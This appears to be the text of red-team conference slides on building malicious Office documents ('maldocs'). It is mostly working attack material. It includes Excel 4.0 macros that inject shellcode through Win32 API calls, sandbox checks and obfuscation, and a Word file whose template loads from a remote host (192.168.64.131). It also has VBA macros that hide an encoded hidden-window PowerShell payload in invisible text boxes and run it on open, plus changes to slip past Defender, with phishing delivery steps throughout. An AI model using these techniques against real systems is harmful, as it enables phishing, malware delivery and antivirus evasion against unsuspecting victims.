@FORTYNORTHSEC

OFFENSIVE MALDOCS IN 2020

Are we still using macros in 2020? Yes.

fortynorth

MATT GRANDY

@Matt_Grandy_

- Senior Offensive Security Engineer @ FortyNorth
- Open Source C#/Python Developer:
  - EyeWitness
  - MiddleOut
  - Screenshooter
- Avid Hiker and Backcountry Camper

JOE LEON

@JoeLeonJr

- Offensive Security Engineer @ FortyNorth
- BlackHat Instructor
- Former Full-Stack Developer
  - Founded & sold SaaS business
- Former Cold Calling & Cold Emailing Trainer / Consultant

fortynorth

WILD WEST HACKIN' FEST 2020

- We're teaching "Initial Access Operations" with @ChrisTruncer
- Goal: teach you how to gain a foothold in a modern enterprise environment
  - Credential Harvesting
  - Process Injection
  - Modern Macros
  - HTAs / Click-Once(s)
  - ...basically all the tactics we use on red team assessments

OUR APPROACH TO MALDOCS

- “Novel” delivery methods
  - Excel 4.0 / XLM Macros
- Remotely Hosted Macros
  - Template Injection
  - Inline Shapes
- New A/V Evasion
  - Epic Manchego
- Social Engineering Required (it’s a feature, not a vulnerability)
  - PPT Hover Over
- CVEs
  - Hard(er) to come by

EXCEL 4.0 MACROS

XLM MACROS

- No. This is not VBA.
- No. This is not XML.
- XLM (Excel 4.0) Macros were created in 1992, before VBA existed.

XLM MACROS

A1
=EXEC("calc.exe")
A
1 =EXEC("calc.exe")
Calculator
Standard
0
MC MR M+ M- MS
%
CE
C

CREDIT TO @OUTFLANKNL

outflank.nl/blog/2018/10/06/old-school-evil-excel-4-0-macros-xlm/

OUTFLANK Clear advice with a hacker mindset

Old school: evil Excel 4.0 macros (XLM)

Stan Hegt | October 6, 2018

In this post, I will dive into Excel 4.0 macros (also called XLM macros - not XML) for offensive purposes. If you grew up in the Windows 95 age or later, just as I did, you might have never heard of this technology that was introduced as early as 1992. Virtually all malicious macro documents for MS Office are based on Visual Basic for Applications (VBA). However, XLM macros are a hidden gem for red teamers and turn out to be a very good alternative to VBA macros for offensive purposes: XLM can be difficult to analyse and it appears that most antivirus solutions have trouble detecting XLM maldocs. And although the

outflanknl / Excel4-DCOM

Watch 21 | Star 248 | Fork 69

Code | Issues | Pull requests | Actions | Projects | Wiki | Security | Insights

master | Go to file | Add file | Code

About

PowerShell and Cobalt Strike scripts for lateral movement using Excel 4.0 / XLM macros via DCOM (direct shellcode

stanhegt Update README.md ... on Mar 26, 2019 7

Excel4-DCOM.cna	Add files via upload	2 years ago

Process injection with SYLK

Now that we can embed macros in SYLK, we can do much more than simply popping calculator. In our
4.0 / XLM macros, we have already demonstrated the power
shellcode injection using macros in SYLK:

mdsecactiv

Code

Creation of a

SharpShooter

This example c
shellcode cann

```
msfvenom -p generic/custom PAYLOADFILE=./payload.bin -a x86 --platform windows -e x86/shikata_ga_nai
```

cybereason

EX

64-Bi
techn
runs in a 64-bit environment.

While this type of attack is neither new nor as common as malicious VBA code, it is still an effective and intriguing attack.

michael

Code

master

Michael Weber Incrementing version to 0.2.3 ... 20 hours ago 66

Docs	Actually pushing popcalc64.bin payload	3 months ago
Emulation	Adding a fix for Unary Ptg objects when dumpin...	21 days ago
Properties	Improved dumping output	3 months ago

Excel Macro Document Reader/Writer for Red Teamers & Analysts

Readme

MIT License

FortyNorthSecurity / EXCELntDonut

Unwatch 9 | Star 136 | Fork 22

Code | Issues 1 | Pull requests 1 | Actions | Projects | Wiki | Security | ...

master | Go to file | Add file | Code

joeleonjr updated README ... 4 days ago 6

EXCELntDonut	updated README	4 days ago
templates	updated with CLRvoyance	4 days ago
.gitignore	updated with CLRvoyance	4 days ago
LICENSE	Moved from azure	5 months ago
README.md	updated README	4 days ago
install.sh	Moved from azure	5 months ago

About

Excel 4.0 (XLM) Macro Generator for injecting DLLs and EXEs into memory.

xlm | excel-4-0-macro | shellcode-injection | macro | redteaming | phishing

Readme

GPL-3.0 License

Research by LastLine: https://www.lastline.com/labsblog/evolution-of-excel-4-0-macro-weaponization/

Google

excel 4.0 macro malware

All | Images | News | Shopping | Videos | More | Settings | Tools

About 189,000 results (0.56 seconds)

Excel 4.0, or XLM **macros**, is a 30-year-old feature of Microsoft **Excel** that has been gaining popularity among **malware** authors and attackers, especially over the last year (see Chart 1). This type of **macro** code is actively being abused and weaponized by attackers to deliver additional, more persistent **malware**. Jun 2, 2020

www.lastline.com › labsblog › evolution-of-excel-4-0-...

Evolution of Excel 4.0 Macro Weaponization | Lastline ...

About Featured Snippets | Feedback

www.trustwave.com › resources › blogs › spiderlabs-blog

Excel 4.0 Macro MalSpam Campaigns - SpiderLabs | Trustwave

Mar 11, 2020 - However recently, we have noticed that **malware** authors increasingly utilize this still supported functionality in Excel. **Malicious Excel 4.0 macros** ...

securitynews.sonicwall.com › xmlpost › excel-4-0-macr...

Excel 4.0 macro being used to deliver Malware – SonicWall

Apr 8, 2020 - The **malicious** MS-Excel files are found to be leveraging this feature to hide worksheet carrying **malicious excel 4.0 macro**. Another interesting ...

tech.firstlook.media › reverse-engineering-obfuscated-e...

Reverse Engineering Obfuscated Excel 4 Macro Malware

Apr 22, 2020 - FORMULA(2178/GET.CELL(17,H80)+GET.CELL(19,H80)*DAY(NOW())-10,W86). To figure this out how this works, I found this **Excel 4.0 Macro** ...

WHY IS THIS SO GREAT?

- AMSI has no visibility into XLM macros
- A/V is getting better, but still not great at detecting malicious XLM macros
- Payloads can be delivered in .xls files (no need for xlsm or weird sylk files)
- Process injection is possible

XLM MACROS

A1
=EXEC("calc.exe")
A
1 =EXEC("calc.exe")
Calculator
Standard
0
MC MR M+ M- MS
%
CE
C

XLM MACROS

Research by Hatching: https://hatching.io/blog/excel-xlm-extraction/

Research by Inquest: https://inquest.net/blog/2019/01/29/Carving-Sneaky-XLM-Files

EXEC

IS BORING

PROCESS INJECTION

- Let’s interact with Win32 APIs.

REGISTER

Registers the specified dynamic link library (DLL) or code resource and returns the register ID. You can also specify a custom function name and argument names that will appear in the Paste Function dialog box. If you register a command (macro_type = 2), you can also specify a shortcut key. Because Microsoft Excel for Windows and Microsoft Excel for the Macintosh use different types of code resources, REGISTER has a slightly different syntax form when used in each operating environment.

Important This function is provided for advanced users only. If you use the CALL function incorrectly, you could cause errors that will require you to restart your computer.

Syntax 1

For Microsoft Excel for Windows

REGISTER(**module_text**, procedure, type_text, function_text, argument_text, macro_type, category, shortcut_text, help_topic, function_help, argument_help1, argument_help2,...)

=REGISTER("Kernel32","VirtualAlloc","JJJJJ","Valloc",,1,9)

DLL TO LOAD FUNCTION DATA TYPES ALIAS SETTINGS

PROCESS INJECTION - REGISTER()

```
6  =REGISTER("Kernel32","VirtualAlloc","JJJJJ","Valloc",,1,9)
7  =REGISTER("Kernel32","WriteProcessMemory","JJJCJJ","WProcessMemory",,1,9)
8  =REGISTER("Kernel32","CreateThread","JJJJJJJ","CThread",,1,9)
9  =IF(ISNUMBER(SEARCH("32",GET.WORKSPACE(1))),GOTO(A10),GOTO(A21))
10 =Valloc(0,65536,4096,64)
11 =SELECT(B1:B999,B1)
12 =SET.VALUE(D1,0)
13 =WHILE(ACTIVE.CELL()<>"excel")
14 =SET.VALUE(D2,LEN(ACTIVE.CELL()))
15 =WProcessMemory(-1,A10+(D1*255),ACTIVE.CELL(),LEN(ACTIVE.CELL()),0)
16 =SET.VALUE(D1,D1+1)
17 =SELECT(,"R[1]C")
18 =NEXT()
19 =CThread(0,0,A10,0,0,0)
20 =HALT()
```

PROCESS INJECTION - SHELLCODE

- Shellcode contains non-printable characters.
- If we type those into EXCEL, it won't work.
- Encode our shellcode using =CHAR()

PROCESS INJECTION - SHELLCODE

	A	B
1	=REGISTER("Kernel32","VirtualAlloc","JJJJJ","Valloc",,1,9)	=CHAR(235)&CHAR(35)&CHAR(91)&C
2	=REGISTER("Kernel32","WriteProcessMemory","JJJCJJ","WProcessMemory",,1,9)	=CHAR(110)&CHAR(10)&CHAR(164)&
3	=REGISTER("Kernel32","CreateThread","JJJJJJJ","CThread",,1,9)	=CHAR(6)&CHAR(3)&CHAR(1)&CHAR(
4	=Valloc(0,65536,4096,64)	=CHAR(157)&CHAR(59)&CHAR(223)&
5	=SELECT(B1:B986,B1)	=CHAR(33)&CHAR(23)&CHAR(164)&C
6	=SET.VALUE(C1,0)	=CHAR(215)&CHAR(215)&CHAR(66)&
7	=WHILE(ACTIVE.CELL()<>"excel")	=CHAR(136)&CHAR(17)&CHAR(82)&C
8	=SET.VALUE(C2,LEN(ACTIVE.CELL()))	=CHAR(109)&CHAR(63)&CHAR(50)&C
9	=WProcessMemory(-1,A4+(C1*255),ACTIVE.CELL(),LEN(ACTIVE.CELL()),0)	=CHAR(185)&CHAR(42)&CHAR(166)&
10	=SET.VALUE(C1,C1+1)	=CHAR(212)&CHAR(126)&CHAR(2)&C
11	=SELECT(,"R[1]C")	=CHAR(88)&CHAR(167)&CHAR(94)&C
12	=NEXT()	=CHAR(214)&CHAR(214)&CHAR(48)&
13	=CThread(0,0,A4,0,0,0)	=CHAR(64)&CHAR(187)&CHAR(42)&C
14	=HALT()	=CHAR(155)&CHAR(28)&CHAR(192)&
15		=CHAR(245)&CHAR(169)&CHAR(168)

EXCEL + THEWOVER'S DONUT = EXCELNTDONUT

- Automates the creation of XLM macros.
- INPUT: a C# DLL that spawns a new process (to break Excel parent process chain) and injects a CobaltStrike beacon payload into memory
- OUTPUT: a text file that you copy/paste into an Excel workbook

EXCELNTDONUT

- How it works:
  - Uses MCS to compile into C# x86 and x64 .NET assemblies.
  - Generates position independent shellcode using Donut (x86) and CLRvoyance (x64)
  - Runs shellcode through msfvenom to remove null bytes
  - Encodes shellcode into a bunch of =Char()
  - Generates Win32 API calls to inject shellcode

SANDBOX CHECKS

- Environment / Process Attributes Queryable
  - Can the host make noise?
  - Is Excel's window a certain height and width?
  - Is there a mouse?
  - Is this a Windows machine?

	A
1	=IF(GET.WORKSPACE(19),,CLOSE(TRUE))
2	=IF(GET.WORKSPACE(42),,CLOSE(TRUE))
3	=IF(GET.WORKSPACE(13)<770,CLOSE(TRUE),)
4	=IF(GET.WORKSPACE(14)<381,CLOSE(TRUE),)
5	=IF(ISNUMBER(SEARCH("Windows",GET.WORKSPACE(1))),,CLOSE(TRUE))

BASIC OBFUSCATION

- =Formula()
  - Remove all strings
  - Can pass in letters or =Char() and it'll evaluate it
- Shift the macros several hundred columns right

VT	VU	VV	VW
=FORMULA(VW65&VW33&VW41&VW46&VW41&VW66&\	=CHAR(235)&CHAR(35	=CHAR(235)&CHAR(39	a
=FORMULA(VW65&VW33&VW41&VW46&VW41&VW66&\	=CHAR(195)&CHAR(38	=CHAR(97)&CHAR(42)(	b
=FORMULA(VW65&VW33&VW41&VW46&VW41&VW66&\	=CHAR(3)&CHAR(1)&C	=CHAR(10)&CHAR(3)&	c
=FORMULA(VW65&VW33&VW41&VW46&VW41&VW66&\	=CHAR(108)&CHAR(39	=CHAR(44)&CHAR(14)(	d
=FORMULA(VW65&VW33&VW41&VW46&VW41&VW66&\	=CHAR(188)&CHAR(24	=CHAR(167)&CHAR(16	e
=FORMULA(VW65&VW44&VW31&VW33&VW35&VW45&\	=CHAR(195)&CHAR(20	=CHAR(217)&CHAR(14	f
=FORMULA(VW65&VW44&VW31&VW33&VW35&VW45&\	=CHAR(193)&CHAR(79	=CHAR(70)&CHAR(150	g
=FORMULA(VW65&VW44&VW31&VW33&VW35&VW45&\	=CHAR(9)&CHAR(21)&	=CHAR(67)&CHAR(168	h
=FORMULA(VW65&VW35&VW32&VW66&VW35&VW45&\	=CHAR(159)&CHAR(44	=CHAR(160)&CHAR(13	i
=FORMULA(VW65&VW48&VW1&VW12&VW12&VW15&V\	=CHAR(184)&CHAR(25	=CHAR(111)&CHAR(18	j
=FORMULA(VW65&VW45&VW31&VW38&VW31&VW29&\	=CHAR(246)&CHAR(24	=CHAR(1)&CHAR(71)&	k
=FORMULA(VW65&VW45&VW31&VW46&VW71&VW48&\	=CHAR(110)&CHAR(14	=CHAR(22)&CHAR(124	l
=FORMULA(VW65&VW49&VW34&VW35&VW38&VW31&\	=CHAR(31)&CHAR(85)(	=CHAR(241)&CHAR(93	m
=FORMULA(VW65&VW45&VW31&VW46&VW71&VW48&\	=CHAR(186)&CHAR(85	=CHAR(223)&CHAR(17	n
=FORMULA(VW65&VW49&VW42&VW18&VW15&VW3&V\	=CHAR(7)&CHAR(13)&	=CHAR(35)&CHAR(107	o
=FORMULA(VW65&VW45&VW31&VW46&VW71&VW48&\	=CHAR(48)&CHAR(203	=CHAR(91)&CHAR(155	p
=FORMULA(VW65&VW45&VW31&VW38&VW31&VW29&\	=CHAR(24)&CHAR(254	=CHAR(126)&CHAR(24	q
=FORMULA(VW65&VW40&VW31&VW50&VW46&VW66&\	=CHAR(203)&CHAR(17	=CHAR(109)&CHAR(22	r
=FORMULA(VW65&VW29&VW46&VW8&VW18&VW5&VW	=CHAR(207)&CHAR(15	=CHAR(246)&CHAR(15	s
=FORMULA(VW65&VW34&VW27&VW38&VW46&VW66&\	=CHAR(38)&CHAR(3)&	=CHAR(97)&CHAR(36)(	t
=FORMULA(VW65&VW48&VW1&VW12&VW12&VW15&V\	=CHAR(99)&CHAR(181	=CHAR(134)&CHAR(19	u

DEMO

FortyNorthSecurity/EXCELntDo

github.com/FortyNorthSecurity/EXCELntDonut

Search or jump to... / Pull requests Issues Marketplace Explore

FortyNorthSecurity / EXCELntDonut

Unwatch 9 Star 136 Fork 22

Code Issues 1 Pull requests 1 Actions Projects Wiki Security Insights Settings

master 1 branch 0 tags Go to file Add file Code

joeleonjr updated README 1c09182 5 days ago 6 commits

EXCELntDonut	updated README	5 days ago
templates	updated with CLRvoyance	5 days ago
.gitignore	updated with CLRvoyance	5 days ago
LICENSE	Moved from azure	5 months ago
README.md	updated README	5 days ago
install.sh	Moved from azure	5 months ago
setup.py	Moved from azure	5 months ago

README.md

```
_______  ______ _____ _          _   ____                  _
| ____\ \/ / ___| ____| |    _ __ | |_|  _ \  ___  _ __  _   _| |_
|  _|  \  / |   |  _| | |   | '_ \| __| | | |/ _ \| '_ \| | | | __|
| |___ /  \ |___| |___| |___| | | | |_| |_| | (_) | | | | |_| | |_
|_____/_/\_\____|_____|_____|_| |_|\__|____/ \___/|_| |_|\__,_|\__|
                    by @JoeLeonJr (@FortyNorthSec)
```

EXCELntDonut is a XLM (Excel 4.0) macro generator. Start with C# source code (EXE) and end with a XLM (Excel 4.0) macro that will execute your code in memory. XLM (Excel 4.0) macros can be saved in .XLS files.

Installation

About

Excel 4.0 (XLM) Macro Generator for injecting DLLs and EXEs into memory.

xlm excel-4-0-macro shellcode-injection macro redteaming phishing

Readme

GPL-3.0 License

Releases

No releases published
Create a new release

Packages

No packages published
Publish your first package

Contributors 2

joeleonjr

ChrisTruncer ChrisTruncer

Languages

10
/ 58

Community Score

10 engines detected this file

10a8efaaf3998be727351a7010a5941825f4596b17a1c26b864a27f2459a6c90

test2 - Copy.xls

xls

454.50 KB
Size

2020-09-05 10:13:47 UTC
1 minute ago

XLS

DETECTION DETAILS COMMUNITY

Ad-Aware	XLM.Heur.Injector.1.Gen	Arcabit	XLM.Heur.Injector.1.Gen
BitDefender	XLM.Heur.Injector.1.Gen	eScan	XLM.Heur.Injector.1.Gen
ESET-NOD32	VBA/Obfuscated.DC	F-Secure	Trojan:X97M/XlmMacro.I
FireEye	XLM.Heur.Injector.1.Gen	GData	XLM.Heur.Injector.1.Gen
MAX	Malware (ai Score=87)	Symantec	Trojan.Slakexec!gen2

@BOUNCYHAT

Yet Another Security Blog

Evading Detection with Excel 4.0 Macros and the BIFF8 XLS Format

Malware May 12, 2020 13 Minutes

Abusing legacy functionality built into the Microsoft Office suite is a tale as old as time. One functionality that is popular with red teamers and maldoc authors is using Excel 4.0 Macros to embed standard malicious behavior in Excel files and then execute phishing campaigns with these documents. These macros, which are fully documented online, can make web requests, execute shell commands, access win32 APIs, and have many other capabilities which are desirable to malware authors. As an added bonus, the Excel format embeds macros within Macro sheets which can be more challenging to examine statically than VBA macros which are easier to extract. As a result, many malicious macro documents have a much lower than expected rate of detection in the AV world.

Yet Another Security Blog

Further Evasion in the Forgotten Corners of MS-XLS

Malware June 19, 2020 13 Minutes

It's been a few weeks since my last discussion[1] of Excel 4.0 macro shenanigans and the space continues to change. LastLine published a great report[2] which summarized the progression of weaponized macros from February through May. The good folks at InQuest have continued[3] identifying[4] malicious[5] macro documents[6]. @DissectMalware's excellent XLMMacroDeobfuscator[7] has massively expanded its range of macro emulation, and FortyNorth Security released EXCELntDonut[8], a tool for converting Donut[9] shellcode into multi-architecture Excel 4.0 macros.

Over the past few weeks I've also started seeing some of the files generated by my tool Macrome[10] begin to trigger detections on VirusTotal[11]. This is exactly the sort of thing I want to see – besides the fact that it implies that AV is getting better signal on this

A/V EVASION

- How do we get rid of all those =CHAR() functions?
- Can we hide our macro sheet?

A/V EVASION - CHAR FUNCTIONS

ORIGINAL

POSSIBLE A/V EVASION

A/V EVASION - HIDE MACRO SHEET

- 3 sheet visibility states:
  - Visible
  - Hidden
  - Very Hidden

A/V EVASION - HIDE MACRO SHEET

- 3 sheet visibility states:
  - Visible (00)
  - Hidden (01)
  - Very Hidden (02)

A/V EVASION

- How do we get rid of all those =CHAR() functions?
- Can we hide our macro sheet?
- Can we get rid of “Auto_Open” and still auto execute macros?
- How can we use Unicode to frustrate defenders?
- Can we further obfuscate our call to CHAR()?
- …

Learn the answers to all those questions on @BouncyHat ’s blog: https://malware.pizza

REMOTE DOCX TEMPLATE INJECTION

BACKGROUND

- Microsoft Word document macros have been greatly (over) used for years
  - Involved writing and including VBA code within the macro section
  - Would usually execute on document load
  - Generally, the document would contain basic content for the scenario but in an “encrypted” format
  - Most AV/EDR products will detect this now and block payload execution
- Well, why not host your malicious code remotely?

BUT WHY?

- Newer detection methods are constantly improving
  - Dropping malicious code in a Word doc rarely works anymore
  - Most email scanners will block .doc and .docm attachments (but allow .docx ☺)
- Remote template injection doesn’t initially include malicious code
  - The initial document is a .docx that doesn’t include any stager code
  - The benign .docx will contain a link to the malicious template document
- Credit/inspiration goes to the authors over at RedXorBlue

HOW IT WORKS

1. Create a malicious macro.
2. Create a Word document template (.dotm) and embed our malicious macro.
3. Host the template remotely.
4. Create a “benign” Word document (.docx) that references the remote malicious template.

GENERATE A MALICIOUS MACRO

- There are tons of methods out there, including:
  - Veil
  - Unicorn
  - MaliciousMacroGenerator
  - Cobalt Strike
  - ...

CREATE THE WORD TEMPLATE FILE

- Enable the “Developer” ribbon
- Click on the Visual Basic editor
- Double click on “ThisDocument” in the Project section to open a new editor
- Paste your macro
- Save the file as .dotm
- Re-open the file and make sure the macro works when you click “Enable Content”

CREATE THE BENIGN DOCX FILE

- This is the file we'll send to our target and will load the malicious template file.
- One quick method to create the file is to use Word's online templates
  - Select one that closely matches your phishing scenario

MODIFY THE DOCX FILE'S XML

- We need to change the Word template referenced in the XML file to our remotely hosted payload.
- Here are the steps:
  1. Modify the .docx extension to .zip
  2. Unzip the files
  3. Edit the "word/_rels/settings.xml.rels" file.
     A. The "Target" attribute in the "attachedTemplate" type should point to your remotely hosted payload.

```
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Relationships
xmlns="http://schemas.openxmlformats.org/package/2006/relationships
"><Relationship Id="rId1"
Type="http://schemas.openxmlformats.org/officeDocument/2006/relatio
nships/attachedTemplate" Target="http://192.168.64.131/Doc1.dotm"
TargetMode="External"/></Relationships>
```

MODIFY THE DOCX FILE'S XML

- Next, re-zip the files and convert the .zip file extension back to .docx.

TEST IT OUT

- Opening the document creates multiple HTTP(S) requests
  - Even if they don't enable macros, you'll still see if they opened it
- Enable Content and watch the shellz come in

```
01/06 16:06:46 visit from: [redacted]
         Request: OPTIONS /
         Response: 200 OK
         Microsoft Office Word 2014

01/06 16:06:46 visit from: [redacted]
         Request: HEAD /template.dotm
         page Serves /root/cobaltstrike/uploads/TestTemplate.dotm
         Microsoft Office Word 2014

01/06 16:06:46 visit from: [redacted]
         Request: GET /template.dotm
         page Serves /root/cobaltstrike/uploads/TestTemplate.dotm
         Mozilla/4.0 (compatible; ms-office; MSOffice 16)

01/06 16:06:46 visit from: [redacted]
         Request: HEAD /template.dotm
         page Serves /root/cobaltstrike/uploads/TestTemplate.dotm
         Microsoft Office Existence Discovery
```

DEMO

AutoSave Off | Document1 - Word | Search | Matt Grandy MG

File Home Insert Design Layout References Mailings Review View Developer Help

CommandoVM

Share Comments

Paste Cut Copy Format Painter | Clipboard

Calibri (Body) 11 | Font

Paragraph

¶ Normal | ¶ No Spac... | Heading 1 | Heading 2 | Title | Subtitle | Subtle Em... | Emphasis | Intense E... | Strong | Quote | Intense Q... | Subtle Ref... | Styles

Find Replace Select | Editing

Dictate | Voice

Sensitivity | Sensitivity

Page 1 of 1 | 0 words

Focus | 100%

5:20 PM 2/19/2020

INLINE SHAPES

INLINE SHAPES

- Several different types of inline shapes
  - Chart, comment, pictures, line, box, etc.
  - We'll be focusing on TextBox
- Threat actors are using this but it's not as common as plain VBA macros
- Can use InlineShape objects to hold malicious code which can be called from a macro

CREDIT TO @LAUGHING_MANTIS

- Greg Linares has done some incredible research on this topic and was inspiration.

CAVEATS

- This idea is fairly basic, but it’s a starting point for you think about more advanced uses.
- Obfuscation was not the focus.
- Main execution flow (more fun later):
  1. Create phishing document
  2. Use the InlineShape creation macro
  3. Delete the InlineShape creation macro and add the execution macro
  4. Save the document and send it

LET'S DO THIS

- I used Veil (I swear we're not biased)
  - Use any macro creator you want, although YMMV
  - All we really need is the PowerShell payload and execution strings

```
str = str + "PgMEGhi8Nbkcx/vk3k8kxS94QENUwmbkweeA/Ivc/nV816q2"
str = str + "6C5Ss9D5Zq1rp+s7MvfnarP7uHWTjpn97eTtRX+mJx/IZz7z"
str = str + "+yLG6Cw4uP634TRzeT22A5mar+6n2wXExVOFF/06eV2Wrftv"
str = str + "N/roJ1W2/8lxX6kDG/Ch7c1p1+B+EvOMFhqu5/A9fF8ZvIyT"
str = str + "6i3a+uWZwwnPTcvoDV6ANXb++0Z0Y/ejJXd1257WZ3rXMbNb"
str = str + "tzdr2qFXHX+l8="

exec = "powershell.exe -NoP -NonI -W Hidden -Command ""Invoke-"
exec = exec + "Expression $(New-Object IO.StreamReader ($(New-O"
exec = exec + "bject IO.Compression.DeflateStream ($(New-Object"
exec = exec + " IO.MemoryStream (,$([Convert]::FromBase64String"
exec = exec + "(\"" " & str & " \"" )))), [IO.Compression.Compr"
exec = exec + "essionMode]::Decompress)), [Text.Encoding]::ASCI"
exec = exec + "I)).ReadToEnd();"""
```

TEXTBOX CREATION MACRO

- Once we have the payload, time to create the textbox macro.
- Notice we're including PS here
- Run macro and create the shape

```
Sub createTextBox()
On Error Resume Next
Dim objTextBox As Shape
Dim key As Long

Dim str As String
Dim zHf As String

str = "nVhLj9s2EL7vryAWOqyxdkBJ1CtGgKQNCgQo0qCbtoeFDxJFdY1qbc"
str = str + "OWs07S/vdqPnpGlr0NilxoUxzO45unFFj1Sr2+vrp/27bvHj"
str = str + "frbXdz/Zfbr1wbRy/qtr2eLNRmX7VLq3Zd2fU/7tD15+rdqv"
str = str + "vQbdXvy223L9s3bbu2N8dnT1O1X646dTj+fj7+fpnMv1vOj1"
str = str + "tXdu7jQ/9Ts5z9ke+nqRokH/+dyD4+OZf+uPtkt93/kf3oHn"
str = str + "euu7nk/P1WVetly9h92K47Z4V/u31T11u32x351093yy/uuG"
```

```
key = RGB(2, 22, 9)
Set objTextBox = ActiveDocument.Shapes.AddTextbox(msoTextOrientationHorizontal, 0, 0, 0, 0)
With objTextBox
    .TextFrame.TextRange.Text = "po" + "w" + "ers" + "he" + "ll" + ".e" + "xe|" + zHf + "|open|1"
    .Name = "Shell.Application"
    .Height = 100
    .Width = 100
    .Visible = msoFalse
    .Shadow.Visible = True
    .Shadow.ForeColor.RGB = key
    .AlternativeText = "ShellExecute"
    .TextFrame.TextRange.Font.TextColor.RGB = ActiveDocument.Background.Fill.BackColor
End With
End Sub
```

CREATE AUTO_OPEN MACRO

- Create macro called Auto_Open (and other auto open macros which call Auto_Open)

```
Sub Auto_Open()
On Error Resume Next
Dim objCmdShape As Shape
Dim key As Long
Dim cmdParams() As String
Dim cmdCommand As String
Dim cmdType As String
Dim cmdObj As Object

key = RGB(2, 22, 9)
For x = 1 To ActiveDocument.Shapes.Count
    Set objCmdShape = ActiveDocument.Shapes(x)
    If objCmdShape.Shadow.ForeColor.RGB = key Then
        cmdType = objCmdShape.Name
        cmdCommand = objCmdShape.AlternativeText
        cmdParams = Split(objCmdShape.TextFrame.TextRange.Text, "|")

        Set cmdObj = Interaction.CreateObject(cmdType)
        VBA$.[Interaction].CallByName! cmdObj, [cmdCommand], VbMethod, cmdParams(0), Trim(cmdParams(1)), cmdParams(2), cmdParams(3)

        objCmdShape.Delete
        Exit For
    End If
Next
End Sub
```

SAVE AND EXECUTE

- Save the macro-enabled doc and send it out!
- Things to note:
  - This will prevent users from snooping on the macros to see your payload
  - Probably won't do a lot to stop reverse engineers though
  - The macro can only be executed once (which is generally good)
  - You'll have to send weaponized documents so further obfuscation is probably a good idea
    - but...

BYPASSING A/V

- If you follow this current process, Defender will catch it ☹
- But, we can modify a couple things to bypass Defender
  1. Remove PowerShell call from TextBox
  2. Place the PowerShell call into the CallByName function and modify params

```
zHf = zHf + "I)).ReadToEnd();Read-Host;"""

key = RGB(2, 22, 9)
Set objTextBox = ActiveDocument.Shapes.AddTextbox(msoTextO
With objTextBox
    .TextFrame.TextRange.Text = zHf + "|open|1"
    .Name = "Shell.Application"
    .Height = 100
    .Width = 100
    .Visible = msoFalse
```

```
Set cmdObj = Interaction.CreateObject(cmdType)
VBA$.[Interaction].CallByName! cmdObj, [cmdCommand], VbMethod, "powershell.exe", Trim(cmdParams(0)), cmdParams(1), cmdParams(2)
```

C-C-COMBO

- Wait, we just learned how we can pull code remotely using templates
  - You can use that here as well!
- We can combine remote template injection with InlineShapes
  - We don’t have to send a .docm (yay, no macros in phishing doc)
  - We can kill the template to disallow payload detonation

DEMO

Windows Security

- Home
- Virus & threat protection
- Account protection
- Firewall & network protection
- App & browser control
- Device security
- Device performance & health
- Family options
- Settings

Virus & threat protection settings

View and update Virus & threat protection settings for Windows Defender Antivirus.

Real-time protection

Locates and stops malware from installing or running on your device. You can turn off this setting for a short time before it turns back on automatically.

On

Cloud-delivered protection

Provides increased and faster protection with access to the latest protection data in the cloud. Works best with Automatic sample submission turned on.

On

Automatic sample submission

Send sample files to Microsoft to help protect you and others from potential threats. We'll prompt you if the file we need is likely to contain personal information.

Automatic sample submission is off. Your device may be vulnerable. Dismiss

Off

Submit a sample manually

Tamper Protection

Prevents others from tampering with important security features.

Have a question?

Get help

Help improve Windows Security

Give us feedback

Change your privacy settings

View and change privacy settings for your Windows 10 device.

Privacy settings

Privacy dashboard

Privacy Statement

Recycle Bin

Microsoft Edge

Google Chrome

InstallUtil.In...

EvilWMIPro...

EvilWMIPro...

test1.txt

Activate Windows

Go to Settings to activate Windows.

8:50 PM

9/7/2020

EPIC MANCHEGO

NVISO Labs — Cyber security research, straight from the lab!

Epic Manchego – atypical maldoc delivery brings flurry of infostealers

NVISO September 1, 2020 27 Comments

In July 2020, NVISO detected a set of malicious Excel documents, also known as “maldocs”, that deliver malware through VBA-activated spreadsheets. While the malicious VBA code and the dropped payloads were something we had seen before, it was the specific way in which the Excel documents themselves were created that caught our attention.

https://blog.nviso.eu/2020/09/01/epic-manchego-atypical-maldoc-delivery-brings-flurry-of-infostealers/#comments

Malware gang uses .NET library to generate Excel docs that bypass security checks

They were still Excel documents. Just not your typical Excel files. Enough to trick some security systems, though.

By Catalin Cimpanu for Zero Day | September 5, 2020 -- 19:13 GMT (20:13 BST) | Topic: Security

A newly discovered malware gang is using a clever trick to create malicious Excel files that have low detection rates and a higher chance of evading security systems.

MORE FROM CATALIN CIMPANU

Security
Chilean bank shuts down all branches following ransomware attack

Security
Money from bank hacks rarely gets laundered through cryptocurrencies

Security
Most cyber-security reports only focus on the cool threats

Security
Millions of WordPress sites are being probed & attacked with recent

https://www.zdnet.com/article/malware-gang-uses-net-library-to-generate-excel-docs-that-bypass-security-checks/

EPPLUS

https://github.com/JanKallman/EPPlus

CREATING EXCEL FILES WITH EPPLUS

- .NET library that creates Office Open XML (OOXML) Spreadsheets
- Two Primary Benefits:
  - EPPLus Generated Files do NOT contain metadata

Command Prompt

```
C:\Users\ponce.TEST\Desktop\office_generated>dir
 Volume in drive C has no label.
 Volume Serial Number is 0013-D28A

 Directory of C:\Users\ponce.TEST\Desktop\office_generated

09/07/2020  04:47 PM    <DIR>          .
09/07/2020  04:47 PM    <DIR>          ..
09/07/2020  04:47 PM    <DIR>          docProps
09/07/2020  04:47 PM    <DIR>          xl
01/01/1980  12:00 AM             1,087 [Content_Types].xml
09/07/2020  04:47 PM    <DIR>          _rels
               1 File(s)          1,087 bytes
               5 Dir(s)  13,567,385,600 bytes free

C:\Users\ponce.TEST\Desktop\office_generated>
```

C:\Windows\System32\cmd.exe

```
C:\Users\ponce.TEST\Desktop\hot-manchego\epplus_generated>dir
 Volume in drive C has no label.
 Volume Serial Number is 0013-D28A

 Directory of C:\Users\ponce.TEST\Desktop\hot-manchego\epplus_generated

09/07/2020  04:46 PM    <DIR>          .
09/07/2020  04:46 PM    <DIR>          ..
09/07/2020  04:46 PM    <DIR>          xl
09/07/2020  04:40 PM               890 [Content_Types].xml
09/07/2020  04:46 PM    <DIR>          _rels
               1 File(s)            890 bytes
               4 Dir(s)  13,567,496,192 bytes free

C:\Users\ponce.TEST\Desktop\hot-manchego\epplus_generated>
```

CREATING EXCEL FILES WITH EPPLUS

- .NET library that creates Office Open XML (OOXML) Spreadsheets
- Two Primary Benefits:
